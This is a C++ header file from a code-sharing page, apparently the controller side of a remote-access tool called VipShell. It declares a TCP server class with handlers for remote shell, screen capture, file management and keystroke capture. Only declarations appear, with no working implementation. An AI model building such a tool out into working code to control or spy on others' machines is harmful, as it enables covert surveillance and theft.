vipshellclientserver.h

来自「软件源代码,共享。有2个文件」· C头文件 代码 · 共 48 行

H
48
字号
#pragma once

#include "..\vipshellinfo\threadbase.h"	
#include ".\serverconnecthandle.h"
#include ".\servershellhandle.h"
#include ".\serverscreeninfohandle.h"
#include ".\servergetcappicture.h"
#include ".\serverfilemanagehandle.h"
#include ".\servergetkeynohookhandle.h"
#include <map>


struct tagServerHandle
{
	DWORD dwServerType;
	SOCKET s;
};class CVipShellClientServer : public CThreadBase
{
public:
	CVipShellClientServer(void);
	~CVipShellClientServer(void);
public:
	virtual void OnNewThread(DWORD dwCreateMarker, DWORD dwThreadId, LPVOID lpParameter);
	bool Create(DWORD dwPort);
	bool Close();
public:
	bool GetConnectHandle(CServerConnectHandle* hServer);
	bool GetShellHandle(CServerShellHandle* hServer);
	bool GetScreenInfoHandle(CServerScreenInfoHandle* hServer);
	bool GetCapHandle(CServerGetCapPictureHandle* hServer);
	bool GetCServerFileManageHandle(CServerFileManageHandle* hServer);
	bool GetServerGetKeyNoHookHandle(CServerGetKeyNoHookHandle* hServer);
protected:
	SOCKET _GetServer(DWORD dwType, LPVOID lp);
	void _OnServerLink(SOCKET s);
	void _WaitForConnect(DWORD dwThreadId);
	void _AddServer(DWORD dwType, SOCKET s);
	void _CopyServerSystemInfo(tagServerSystemInfo* p1, tagServerSystemInfo* p2);
protected:
	std::vector<tagServerHandle> m_vecServer;
	typedef std::map<SOCKET, tagServerSystemInfo> SERVERINFO_MAP;
	SERVERINFO_MAP m_ServerMap;
	typedef std::map<SOCKET, DWORD> SERVERSCREEN_MAP;
	SERVERSCREEN_MAP m_ScreenMap;
	CMyCriticalSection m_CriticalSectionServerVector;
	CTcpServer m_hServer;
};

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?